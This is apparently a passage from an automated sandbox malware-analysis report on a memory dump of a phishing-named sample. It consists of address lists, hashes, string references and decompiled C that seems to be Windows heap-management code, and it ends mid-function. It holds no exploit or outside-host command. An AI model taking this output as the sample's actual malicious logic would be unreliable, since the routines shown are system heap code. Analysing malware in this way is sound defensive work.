0x00a3a25a
0x00a3a25f
0x00a81c76
0x00a81c78
0x00a81c7e
0x00a81c7f
0x00a81c81
0x00a81c82
0x00a81c84
0x00a81c89
0x00a81c8b
0x00a81c9e
0x00a81c9e
0x00a81cab
0x00a81cb2
0x00000000
0x00a81cb2
0x00a81c8d
0x00a81c92
0x00000000
0x00000000
0x00a81c94
0x00a81c98
0x00000000
0x00000000
0x00000000
0x00a81c98
0x00a3a265
0x00a3a265
0x00a3a266
0x00a3a26f
0x00a3a270
0x00a3a276
0x00a3a277
0x00a3a279
0x00a3a27e
0x00a3a282
0x00a81db5
0x00a81dbb
0x00a81dc1
0x00a81dc5
0x00a81de4
0x00a81de9
0x00a81dc7
0x00a81ddc
0x00a81de1
0x00a81def
0x00a81df3
0x00a81df7
0x00a81dfe
0x00a81e06
0x00a3a302
0x00a3a308
0x00a3a308
0x00a3a288
0x00a3a28d
0x00a3a294
0x00a81cc1
0x00a3a29a
0x00a3a29a
0x00a3a29a
0x00a3a29f
0x00a81ccb
0x00a81cd1
0x00a81cd8
0x00a81cea
0x00a81cea
0x00a81cd8
0x00a3a2a9
0x00a3a2af
0x00a3a2bc
0x00a81cfd
0x00a3a2c2
0x00a3a2c2
0x00a3a2c2
0x00a3a2c7
0x00a81d07
0x00a81d0d
0x00a81d14
0x00a81d1f
0x00a81d21
0x00a81d2c
0x00a81d2c
0x00a81d2c
0x00a81d47
0x00a81d47
0x00a81d14
0x00a3a2cd
0x00a3a2d2
0x00a3a2d9
0x00a81d5a
0x00a3a2df
0x00a3a2df
0x00a3a2df
0x00a3a2e4
0x00a81d69
0x00a81d6b
0x00a81d76
0x00a81d76
0x00a81d76
0x00a81d91
0x00a81d91
0x00a3a2ea
0x00a3a2f0
0x00a3a2f5
0x00a81da8
0x00a81dad
0x00a81dad
0x00a3a2fd
0x00a3a300
0x00000000

Strings

HEAP: , xrefs: 00A81DE4
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 00A81DF9
HEAP[%wZ]: , xrefs: 00A81DD7
`, xrefs: 00A81C8D

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID: InitializeThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 2994545307-2586055223
Opcode ID: 86bd91b9a266466c73b1d2c7a6c5895d0a188d1bc3a59bd740fd45724e72155c
Instruction ID: bdb6113768ee61416a0c3a4791911997478db12ae1904c1e00c64e48c68a9f8f
Opcode Fuzzy Hash: 86bd91b9a266466c73b1d2c7a6c5895d0a188d1bc3a59bd740fd45724e72155c
Instruction Fuzzy Hash: 5A512672204680AFD321EBA8C945F6777F8FF94750F150564F8968B2A2D734DC01CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00AD49A4, Relevance: 5.1, Strings: 4, Instructions: 114COMMON

Download Yara Rule

Strings

Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 00AD4A61
HEAP: , xrefs: 00AD4A4A, 00AD4A5D, 00AD4A5F, 00AD4AC4
HEAP[%wZ]: , xrefs: 00AD4A3D, 00AD4AB7
This is located in the %s field of the heap header., xrefs: 00AD4AD6

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID: InitializeThunk
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 2994545307-336120773
Opcode ID: b27d18778b5eb988b0813bb66a9d144c7204690eea4ecbe2b84a63ea4e7574c7
Instruction ID: 2a7e7ef56941a5c845beb1bf15ea143f5eba7f23342adc883f6cbb93bf7930f6
Opcode Fuzzy Hash: b27d18778b5eb988b0813bb66a9d144c7204690eea4ecbe2b84a63ea4e7574c7
Instruction Fuzzy Hash: 7F310335290204FFD710DB58C985FA773A8EF087A4F154166F416DB7A1E770A880C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00A399BF, Relevance: 4.3, Strings: 3, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E00A399BF(signed int __ecx, signed short* __edx, signed int* _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed short _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed short _t186;
				intOrPtr _t187;
				signed short _t190;
				signed int _t196;
				signed short _t197;
				intOrPtr _t203;
				signed int _t207;
				signed int _t210;
				signed short _t215;
				intOrPtr _t216;
				signed short _t219;
				signed int _t221;
				signed short _t222;
				intOrPtr _t228;
				signed int _t232;
				signed int _t235;
				signed int _t250;
				signed short _t251;
				intOrPtr _t252;
				signed short _t254;
				intOrPtr _t255;
				signed int _t258;
				signed int _t259;
				signed short _t262;
				intOrPtr _t271;
				signed int _t279;
				signed int _t282;
				signed int _t284;
				signed int _t286;
				intOrPtr _t292;
				signed int _t296;
				signed int _t299;
				signed int _t307;
				signed int* _t309;
				signed short* _t311;
				signed short* _t313;
				signed char _t314;
				intOrPtr _t316;
				signed int _t323;
				signed char _t328;
				signed short* _t330;
				signed char _t331;
				intOrPtr _t335;
				signed int _t342;
				signed char _t347;
				signed short* _t348;
				signed short* _t350;
				signed short _t352;
				signed char _t354;
				intOrPtr _t357;
				intOrPtr* _t364;
				signed char _t365;
				intOrPtr _t366;
				signed int _t373;
				signed char _t378;
				signed int* _t381;
				signed int _t382;
				signed short _t384;
				signed int _t386;
				unsigned int _t390;
				signed int _t393;
				signed int* _t394;
				unsigned int _t398;
				signed short _t400;
				signed short _t402;
				signed int _t404;
				signed int _t407;
				unsigned int _t411;
				signed short* _t414;
				signed int _t415;
				signed short* _t419;
				signed int* _t420;
				void* _t421;

				_t414 = __edx;
				_t307 = __ecx;
				_t419 = __edx - (( *(__edx + 4) & 0x0000ffff ^  *(__ecx + 0x54) & 0x0000ffff) << 3);
				if(_t419 == __edx || (( *(__ecx + 0x4c) >> 0x00000014 &  *(__ecx + 0x52) ^ _t419[1]) & 0x00000001) != 0) {
					_v5 = _a8;
					L3:
					_t381 = _a4;
					goto L4;
				} else {
					__eflags =  *(__ecx + 0x4c);
					if( *(__ecx + 0x4c) != 0) {
						_t411 =  *(__ecx + 0x50) ^  *_t419;
						 *_t419 = _t411;
						_t378 = _t411 >> 0x00000010 ^ _t411 >> 0x00000008 ^ _t411;
						__eflags = _t411 >> 0x18 - _t378;
						if(__eflags != 0) {
							_push(_t378);
							E00ACFA2B(__ecx, __ecx, _t419, __edx, _t419, __eflags);
						}
					}
					_t250 = _a8;
					_v5 = _t250;
					__eflags = _t250;
					if(_t250 != 0) {
						_t400 = _t414[6];
						_t53 =  &(_t414[4]); // -16
						_t348 = _t53;
						_t251 =  *_t348;
						_v12 = _t251;
						_v16 = _t400;
						_t252 =  *((intOrPtr*)(_t251 + 4));
						__eflags =  *_t400 - _t252;
						if( *_t400 != _t252) {
							L49:
							_push(_t348);
							_push( *_t400);
							E00ADA80D(_t307, 0xd, _t348, _t252);
							L50:
							_v5 = 0;
							goto L11;
						}
						__eflags =  *_t400 - _t348;
						if( *_t400 != _t348) {
							goto L49;
						}
						 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
						_t407 =  *(_t307 + 0xb4);
						__eflags = _t407;
						if(_t407 == 0) {
							L36:
							_t364 = _v16;
							_t282 = _v12;
							 *_t364 = _t282;
							 *((intOrPtr*)(_t282 + 4)) = _t364;
							__eflags = _t414[1] & 0x00000008;
							if((_t414[1] & 0x00000008) == 0) {
								L39:
								_t365 = _t414[1];
								__eflags = _t365 & 0x00000004;
								if((_t365 & 0x00000004) != 0) {
									_t284 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
									_v12 = _t284;
									__eflags = _t365 & 0x00000002;
									if((_t365 & 0x00000002) != 0) {
										__eflags = _t284 - 4;
										if(_t284 > 4) {
											_t284 = _t284 - 4;
											__eflags = _t284;
											_v12 = _t284;
										}
									}
									_t78 =  &(_t414[8]); // -8
									_t286 = E00A6D540(_t78, _t284, 0xfeeefeee);
									_v16 = _t286;
									__eflags = _t286 - _v12;
									if(_t286 != _v12) {
										_t366 =  *[fs:0x30];
										__eflags =  *(_t366 + 0xc);
										if( *(_t366 + 0xc) == 0) {
											_push("HEAP: ");
											E00A1B150();
										} else {
											E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_v16 + 0x10 + _t414);
										E00A1B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
										_t292 =  *[fs:0x30];
										_t421 = _t421 + 0xc;
										__eflags =  *((char*)(_t292 + 2));
										if( *((char*)(_t292 + 2)) != 0) {
											 *0xb06378 = 1;
											asm("int3");
											 *0xb06378 = 0;
										}
									}
								}
								goto L50;
							}
							_t296 = E00A3A229(_t307, _t414);
							__eflags = _t296;
							if(_t296 != 0) {
								goto L39;
							} else {
								E00A3A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
								goto L50;
							}
						} else {
							_t373 =  *_t414 & 0x0000ffff;
							while(1) {
								__eflags = _t373 -  *((intOrPtr*)(_t407 + 4));
								if(_t373 <  *((intOrPtr*)(_t407 + 4))) {
									_t301 = _t373;
									break;
								}
								_t299 =  *_t407;
								__eflags = _t299;
								if(_t299 == 0) {
									_t301 =  *((intOrPtr*)(_t407 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t407 + 4)) - 1;
									break;
								} else {
									_t407 = _t299;
									continue;
								}
							}
							_t62 =  &(_t414[4]); // -16
							E00A3BC04(_t307, _t407, 1, _t62, _t301, _t373);
							goto L36;
						}
					}
					L11:
					_t402 = _t419[6];
					_t25 =  &(_t419[4]); // -16
					_t350 = _t25;
					_t254 =  *_t350;
					_v12 = _t254;
					_v20 = _t402;
					_t255 =  *((intOrPtr*)(_t254 + 4));
					__eflags =  *_t402 - _t255;
					if( *_t402 != _t255) {
						L61:
						_push(_t350);
						_push( *_t402);
						E00ADA80D(_t307, 0xd, _t350, _t255);
						goto L3;
					}
					__eflags =  *_t402 - _t350;
					if( *_t402 != _t350) {
						goto L61;
					}
					 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t419 & 0x0000ffff);
					_t404 =  *(_t307 + 0xb4);
					__eflags = _t404;
					if(_t404 == 0) {
						L20:
						_t352 = _v20;
						_t258 = _v12;
						 *_t352 = _t258;
						 *(_t258 + 4) = _t352;
						__eflags = _t419[1] & 0x00000008;
						if((_t419[1] & 0x00000008) != 0) {
							_t259 = E00A3A229(_t307, _t419);
							__eflags = _t259;
							if(_t259 != 0) {
								goto L21;
							} else {
								E00A3A309(_t307, _t419,  *_t419 & 0x0000ffff, 1);
								goto L3;
							}
						}
						L21:
						_t354 = _t419[1];
						__eflags = _t354 & 0x00000004;
						if((_t354 & 0x00000004) != 0) {
							_t415 = ( *_t419 & 0x0000ffff) * 8 - 0x10;
							__eflags = _t354 & 0x00000002;
							if((_t354 & 0x00000002) != 0) {
								__eflags = _t415 - 4;
								if(_t415 > 4) {
									_t415 = _t415 - 4;
									__eflags = _t415;
								}
							}
							_t91 =  &(_t419[8]); // -8
							_t262 = E00A6D540(_t91, _t415, 0xfeeefeee);
							_v20 = _t262;
							__eflags = _t262 - _t415;
							if(_t262 != _t415) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0xc);
								if( *(_t357 + 0xc) == 0) {
									_push("HEAP: ");
									E00A1B150();
								} else {
									E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_v20 + 0x10 + _t419);
								E00A1B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t419);
								_t271 =  *[fs:0x30];
								_t421 = _t421 + 0xc;
								__eflags =  *((char*)(_t271 + 2));
								if( *((char*)(_t271 + 2)) != 0) {
									 *0xb06378 = 1;
									asm("int3");
									 *0xb06378 = 0;
								}
							}
						}
						_t381 = _a4;
						_t414 = _t419;
						_t419[1] = 0;
						_t419[3] = 0;
						 *_t381 =  *_t381 + ( *_t419 & 0x0000ffff);
						 *_t419 =  *_t381;
						 *(_t419 + 4 +  *_t381 * 8) =  *_t381 ^  *(_t307 + 0x54);
						L4:
						_t420 = _t414 +  *_t381 * 8;
						if( *(_t307 + 0x4c) == 0) {
							L6:
							while((( *(_t307 + 0x4c) >> 0x00000014 &  *(_t307 + 0x52) ^ _t420[0]) & 0x00000001) == 0) {
								__eflags =  *(_t307 + 0x4c);
								if( *(_t307 + 0x4c) != 0) {
									_t390 =  *(_t307 + 0x50) ^  *_t420;
									 *_t420 = _t390;
									_t328 = _t390 >> 0x00000010 ^ _t390 >> 0x00000008 ^ _t390;
									__eflags = _t390 >> 0x18 - _t328;
									if(__eflags != 0) {
										_push(_t328);
										E00ACFA2B(_t307, _t307, _t420, _t414, _t420, __eflags);
									}
								}
								__eflags = _v5;
								if(_v5 == 0) {
									L94:
									_t382 = _t420[3];
									_t137 =  &(_t420[2]); // -16
									_t309 = _t137;
									_t186 =  *_t309;
									_v20 = _t186;
									_v16 = _t382;
									_t187 =  *((intOrPtr*)(_t186 + 4));
									__eflags =  *_t382 - _t187;
									if( *_t382 != _t187) {
										L63:
										_push(_t309);
										_push( *_t382);
										_push(_t187);
										_push(_t309);
										_push(0xd);
										L64:
										E00ADA80D(_t307);
										continue;
									}
									__eflags =  *_t382 - _t309;
									if( *_t382 != _t309) {
										goto L63;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t420 & 0x0000ffff);
									_t393 =  *(_t307 + 0xb4);
									__eflags = _t393;
									if(_t393 == 0) {
										L104:
										_t330 = _v16;
										_t190 = _v20;
										 *_t330 = _t190;
										 *(_t190 + 4) = _t330;
										__eflags = _t420[0] & 0x00000008;
										if((_t420[0] & 0x00000008) == 0) {
											L107:
											_t331 = _t420[0];
											__eflags = _t331 & 0x00000004;
											if((_t331 & 0x00000004) != 0) {
												_t196 = ( *_t420 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t196;
												__eflags = _t331 & 0x00000002;
												if((_t331 & 0x00000002) != 0) {
													__eflags = _t196 - 4;
													if(_t196 > 4) {
														_t196 = _t196 - 4;
														__eflags = _t196;
														_v12 = _t196;
													}
												}
												_t162 =  &(_t420[4]); // -8
												_t197 = E00A6D540(_t162, _t196, 0xfeeefeee);
												_v20 = _t197;
												__eflags = _t197 - _v12;
												if(_t197 != _v12) {
													_t335 =  *[fs:0x30];
													__eflags =  *(_t335 + 0xc);
													if( *(_t335 + 0xc) == 0) {
														_push("HEAP: ");
														E00A1B150();
													} else {
														E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t420);
													E00A1B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t420);
													_t203 =  *[fs:0x30];
													__eflags =  *((char*)(_t203 + 2));
													if( *((char*)(_t203 + 2)) != 0) {
														 *0xb06378 = 1;
														asm("int3");
														 *0xb06378 = 0;
													}
												}
											}
											_t394 = _a4;
											_t414[1] = 0;
											_t414[3] = 0;
											 *_t394 =  *_t394 + ( *_t420 & 0x0000ffff);
											 *_t414 =  *_t394;
											 *(_t414 + 4 +  *_t394 * 8) =  *_t394 ^  *(_t307 + 0x54);
											break;
										}
										_t207 = E00A3A229(_t307, _t420);
										__eflags = _t207;
										if(_t207 != 0) {
											goto L107;
										}
										E00A3A309(_t307, _t420,  *_t420 & 0x0000ffff, 1);
										continue;
									}
									_t342 =  *_t420 & 0x0000ffff;
									while(1) {
										__eflags = _t342 -  *((intOrPtr*)(_t393 + 4));
										if(_t342 <  *((intOrPtr*)(_t393 + 4))) {
											break;
										}
										_t210 =  *_t393;
										__eflags = _t210;
										if(_t210 == 0) {
											_t212 =  *((intOrPtr*)(_t393 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t393 + 4)) - 1;
											L103:
											_t146 =  &(_t420[2]); // -16
											E00A3BC04(_t307, _t393, 1, _t146, _t212, _t342);
											goto L104;
										}
										_t393 = _t210;
									}
									_t212 = _t342;
									goto L103;
								} else {
									_t384 = _t414[6];
									_t102 =  &(_t414[4]); // -16
									_t311 = _t102;
									_t215 =  *_t311;
									_v20 = _t215;
									_v16 = _t384;
									_t216 =  *((intOrPtr*)(_t215 + 4));
									__eflags =  *_t384 - _t216;
									if( *_t384 != _t216) {
										L92:
										_push(_t311);
										_push( *_t384);
										E00ADA80D(_t307, 0xd, _t311, _t216);
										L93:
										_v5 = 0;
										goto L94;
									}
									__eflags =  *_t384 - _t311;
									if( *_t384 != _t311) {
										goto L92;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
									_t386 =  *(_t307 + 0xb4);
									__eflags = _t386;
									if(_t386 == 0) {
										L79:
										_t313 = _v16;
										_t219 = _v20;
										 *_t313 = _t219;
										 *(_t219 + 4) = _t313;
										__eflags = _t414[1] & 0x00000008;
										if((_t414[1] & 0x00000008) == 0) {
											L82:
											_t314 = _t414[1];
											__eflags = _t314 & 0x00000004;
											if((_t314 & 0x00000004) != 0) {
												_t221 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t221;
												__eflags = _t314 & 0x00000002;
												if((_t314 & 0x00000002) != 0) {
													__eflags = _t221 - 4;
													if(_t221 > 4) {
														_t221 = _t221 - 4;
														__eflags = _t221;
														_v12 = _t221;
													}
												}
												_t127 =  &(_t414[8]); // -8
												_t222 = E00A6D540(_t127, _t221, 0xfeeefeee);
												_v20 = _t222;
												__eflags = _t222 - _v12;
												if(_t222 != _v12) {
													_t316 =  *[fs:0x30];
													__eflags =  *(_t316 + 0xc);
													if( *(_t316 + 0xc) == 0) {
														_push("HEAP: ");
														E00A1B150();
													} else {
														E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t414);
													E00A1B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
													_t228 =  *[fs:0x30];
													_t421 = _t421 + 0xc;
													__eflags =  *((char*)(_t228 + 2));
													if( *((char*)(_t228 + 2)) != 0) {
														 *0xb06378 = 1;
														asm("int3");
														 *0xb06378 = 0;
													}
												}
											}
											goto L93;
										}
										_t232 = E00A3A229(_t307, _t414);
										__eflags = _t232;
										if(_t232 != 0) {
											goto L82;
										}
										E00A3A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
										goto L93;
									}
									_t323 =  *_t414 & 0x0000ffff;
									while(1) {
										__eflags = _t323 -  *((intOrPtr*)(_t386 + 4));
										if(_t323 <  *((intOrPtr*)(_t386 + 4))) {
											break;
										}
										_t235 =  *_t386;
										__eflags = _t235;
										if(_t235 == 0) {
											_t237 =  *((intOrPtr*)(_t386 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t386 + 4)) - 1;
											L78:
											_t111 =  &(_t414[4]); // -16
											E00A3BC04(_t307, _t386, 1, _t111, _t237, _t323);
											goto L79;
										}
										_t386 = _t235;
									}
									_t237 = _t323;
									goto L78;
								}
							}
							return _t414;
						}
						_t398 =  *(_t307 + 0x50) ^  *_t420;
						_t347 = _t398 >> 0x00000010 ^ _t398 >> 0x00000008 ^ _t398;
						if(_t398 >> 0x18 != _t347) {
							_push(_t347);
							_push(0);
							_push(0);
							_push(_t420);
							_push(3);
							goto L64;
						}
						goto L6;
					} else {
						_t277 =  *_t419 & 0x0000ffff;
						_v16 = _t277;
						while(1) {
							__eflags = _t277 -  *((intOrPtr*)(_t404 + 4));
							if(_t277 <  *((intOrPtr*)(_t404 + 4))) {
								break;
							}
							_t279 =  *_t404;
							__eflags = _t279;
							if(_t279 == 0) {
								_t277 =  *((intOrPtr*)(_t404 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t404 + 4)) - 1;
								break;
							} else {
								_t404 = _t279;
								_t277 =  *_t419 & 0x0000ffff;
								continue;
							}
						}
						E00A3BC04(_t307, _t404, 1, _t350, _t277, _v16);
						goto L20;
					}
				}
			}

0x00a399ca
0x00a399cc
0x00a399df
0x00a399e3
0x00a399f8
0x00a399fb
0x00a399fb
0x00000000
0x00a39a48
0x00a39a48
0x00a39a4c
0x00a39a51
0x00a39a55
0x00a39a61
0x00a39a66
0x00a39a68
0x00a81457
0x00a8145c
0x00a8145c
0x00a39a68
0x00a39a6e
0x00a39a71
0x00a39a74
0x00a39a76
0x00a81466
0x00a81469
0x00a81469
0x00a8146c
0x00a8146e
0x00a81471
0x00a81474
0x00a81477
0x00a81479
0x00a8159c
0x00a8159c
0x00a8159d
0x00a815a6
0x00a815ab
0x00a815ab
0x00000000
0x00a815ab
0x00a8147f
0x00a81481
0x00000000
0x00000000
0x00a8148a
0x00a8148d
0x00a81493
0x00a81495
0x00a814c0
0x00a814c0
0x00a814c3
0x00a814c6
0x00a814c8
0x00a814cb
0x00a814cf
0x00a814f2
0x00a814f2
0x00a814f5
0x00a814f8
0x00a81501
0x00a81508
0x00a8150b
0x00a8150e
0x00a81510
0x00a81513
0x00a81515
0x00a81515
0x00a81518
0x00a81518
0x00a81513
0x00a81521
0x00a81525
0x00a8152a
0x00a8152d
0x00a81530
0x00a81532
0x00a81539
0x00a8153d
0x00a8155d
0x00a81562
0x00a8153f
0x00a81555
0x00a8155a
0x00a81570
0x00a81577
0x00a8157c
0x00a81582
0x00a81585
0x00a81589
0x00a8158b
0x00a81592
0x00a81593
0x00a81593
0x00a81589
0x00a81530
0x00000000
0x00a814f8
0x00a814d5
0x00a814da
0x00a814dc
0x00000000
0x00a814de
0x00a814e8
0x00000000
0x00a814e8
0x00a81497
0x00a81497
0x00a814a4
0x00a814a4
0x00a814a7
0x00a814a9
0x00a814ab
0x00a814ab
0x00a8149c
0x00a8149e
0x00a814a0
0x00a814b0
0x00a814b0
0x00000000
0x00a814a2
0x00a814a2
0x00000000
0x00a814a2
0x00a814a0
0x00a814b3
0x00a814bb
0x00000000
0x00a814bb
0x00a81495
0x00a39a7c
0x00a39a7c
0x00a39a7f
0x00a39a7f
0x00a39a82
0x00a39a84
0x00a39a87
0x00a39a8a
0x00a39a8d
0x00a39a8f
0x00a8166a
0x00a8166a
0x00a8166b
0x00a81674
0x00000000
0x00a81674
0x00a39a95
0x00a39a97
0x00000000
0x00000000
0x00a39aa0
0x00a39aa3
0x00a39aa9
0x00a39aab
0x00a39ad7
0x00a39ad7
0x00a39ada
0x00a39add
0x00a39adf
0x00a39ae2
0x00a39ae6
0x00a39b22
0x00a39b27
0x00a39b29
0x00000000
0x00a39b2b
0x00a815be
0x00000000
0x00a815be
0x00a39b29
0x00a39ae8
0x00a39ae8
0x00a39aeb
0x00a39aee
0x00a815cb
0x00a815d2
0x00a815d5
0x00a815d7
0x00a815da
0x00a815dc
0x00a815dc
0x00a815dc
0x00a815da
0x00a815e5
0x00a815e9
0x00a815ee
0x00a815f1
0x00a815f3
0x00a815f9
0x00a81600
0x00a81604
0x00a81624
0x00a81629
0x00a81606
0x00a8161c
0x00a81621
0x00a81637
0x00a8163e
0x00a81643
0x00a81649
0x00a8164c
0x00a81650
0x00a81656
0x00a8165d
0x00a8165e
0x00a8165e
0x00a81650
0x00a815f3
0x00a39af4
0x00a39af7
0x00a39afc
0x00a39b00
0x00a39b04
0x00a39b08
0x00a39b14
0x00a399fe
0x00a39a04
0x00a39a07
0x00000000
0x00a39a29
0x00a8169c
0x00a816a0
0x00a816a5
0x00a816a9
0x00a816b5
0x00a816ba
0x00a816bc
0x00a816be
0x00a816c3
0x00a816c3
0x00a816bc
0x00a816c8
0x00a816cc
0x00a8181b
0x00a8181b
0x00a8181e
0x00a8181e
0x00a81821
0x00a81823
0x00a81826
0x00a81829
0x00a8182c
0x00a8182e
0x00a81688
0x00a81688
0x00a81689
0x00a8168b
0x00a8168c
0x00a8168d
0x00a8168f
0x00a81692
0x00000000
0x00a81692
0x00a81834
0x00a81836
0x00000000
0x00000000
0x00a8183f
0x00a81842
0x00a81848
0x00a8184a
0x00a81875
0x00a81875
0x00a81878
0x00a8187b
0x00a8187d
0x00a81880
0x00a81884
0x00a818a7
0x00a818a7
0x00a818aa
0x00a818ad
0x00a818b6
0x00a818bd
0x00a818c0
0x00a818c3
0x00a818c5
0x00a818c8
0x00a818ca
0x00a818ca
0x00a818cd
0x00a818cd
0x00a818c8
0x00a818d5
0x00a818da
0x00a818df
0x00a818e2
0x00a818e5
0x00a818e7
0x00a818ee
0x00a818f2
0x00a81912
0x00a81917
0x00a818f4
0x00a8190a
0x00a8190f
0x00a81925
0x00a8192c
0x00a81931
0x00a8193a
0x00a8193e
0x00a81940
0x00a81947
0x00a81948
0x00a81948
0x00a8193e
0x00a818e5
0x00a8194f
0x00a81952
0x00a81956
0x00a8195d
0x00a81961
0x00a8196d
0x00000000
0x00a8196d
0x00a8188a
0x00a8188f
0x00a81891
0x00000000
0x00000000
0x00a8189d
0x00000000
0x00a8189d
0x00a8184c
0x00a81859
0x00a81859
0x00a8185c
0x00000000
0x00000000
0x00a81851
0x00a81853
0x00a81855
0x00a81865
0x00a81865
0x00a81866
0x00a81868
0x00a81870
0x00000000
0x00a81870
0x00a81857
0x00a81857
0x00a8185e
0x00000000
0x00a816d2
0x00a816d2
0x00a816d5
0x00a816d5
0x00a816d8
0x00a816da
0x00a816dd
0x00a816e0
0x00a816e3
0x00a816e5
0x00a81808
0x00a81808
0x00a81809
0x00a81812
0x00a81817
0x00a81817
0x00000000
0x00a81817
0x00a816eb
0x00a816ed
0x00000000
0x00000000
0x00a816f6
0x00a816f9
0x00a816ff
0x00a81701
0x00a8172c
0x00a8172c
0x00a8172f
0x00a81732
0x00a81734
0x00a81737
0x00a8173b
0x00a8175e
0x00a8175e
0x00a81761
0x00a81764
0x00a8176d
0x00a81774
0x00a81777
0x00a8177a
0x00a8177c
0x00a8177f
0x00a81781
0x00a81781
0x00a81784
0x00a81784
0x00a8177f
0x00a8178c
0x00a81791
0x00a81796
0x00a81799
0x00a8179c
0x00a8179e
0x00a817a5
0x00a817a9
0x00a817c9
0x00a817ce
0x00a817ab
0x00a817c1
0x00a817c6
0x00a817dc
0x00a817e3
0x00a817e8
0x00a817ee
0x00a817f1
0x00a817f5
0x00a817f7
0x00a817fe
0x00a817ff
0x00a817ff
0x00a817f5
0x00a8179c
0x00000000
0x00a81764
0x00a81741
0x00a81746
0x00a81748
0x00000000
0x00000000
0x00a81754
0x00000000
0x00a81754
0x00a81703
0x00a81710
0x00a81710
0x00a81713
0x00000000
0x00000000
0x00a81708
0x00a8170a
0x00a8170c
0x00a8171c
0x00a8171c
0x00a8171d
0x00a8171f
0x00a81727
0x00000000
0x00a81727
0x00a8170e
0x00a8170e
0x00a81715
0x00000000
0x00a81715
0x00a816cc
0x00a39a45
0x00a39a45
0x00a39a0e
0x00a39a1c
0x00a39a23
0x00a8167e
0x00a8167f
0x00a81681
0x00a81683
0x00a81684
0x00000000
0x00a81684
0x00000000
0x00a39aad
0x00a39aad
0x00a39ab0
0x00a39ab3
0x00a39ab3
0x00a39ab6
0x00000000
0x00000000
0x00a39ab8
0x00a39aba
0x00a39abc
0x00a39ac8
0x00a39ac8
0x00000000
0x00a39abe
0x00a39abe
0x00a39ac0
0x00000000
0x00a39ac0
0x00a39abc
0x00a39ad2
0x00000000
0x00a39ad2
0x00a39aab

Strings

HEAP: , xrefs: 00A8155D, 00A81624, 00A817C9, 00A81912
HEAP[%wZ]: , xrefs: 00A81550, 00A81617, 00A817BC, 00A81905
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 00A81572, 00A81639, 00A817DE, 00A81927

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 94ec6252c59c4277bf6dc85c4fafdee6e88b4dfb1c77b5fa861491642e2aa99e
Instruction ID: feea5b6c76aad718a4c9434d35930e0f9cab5b175c291c8e8927a67e629920b8
Opcode Fuzzy Hash: 94ec6252c59c4277bf6dc85c4fafdee6e88b4dfb1c77b5fa861491642e2aa99e
Instruction Fuzzy Hash: D422E570A002459FDB24EF29C895B7ABBF9EF45704F24856DE4868B382E775DC82CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A3B477, Relevance: 4.2, Strings: 3, Instructions: 405
COMMONCrypto

Download Yara Rule

C-Code - Quality: 67%

			E00A3B477(signed int __ecx, signed int* __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int* _v20;
				signed int _v24;
				char _v28;
				signed int _v44;
				char _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t131;
				signed char _t134;
				signed int _t139;
				void* _t141;
				signed int* _t143;
				signed int* _t144;
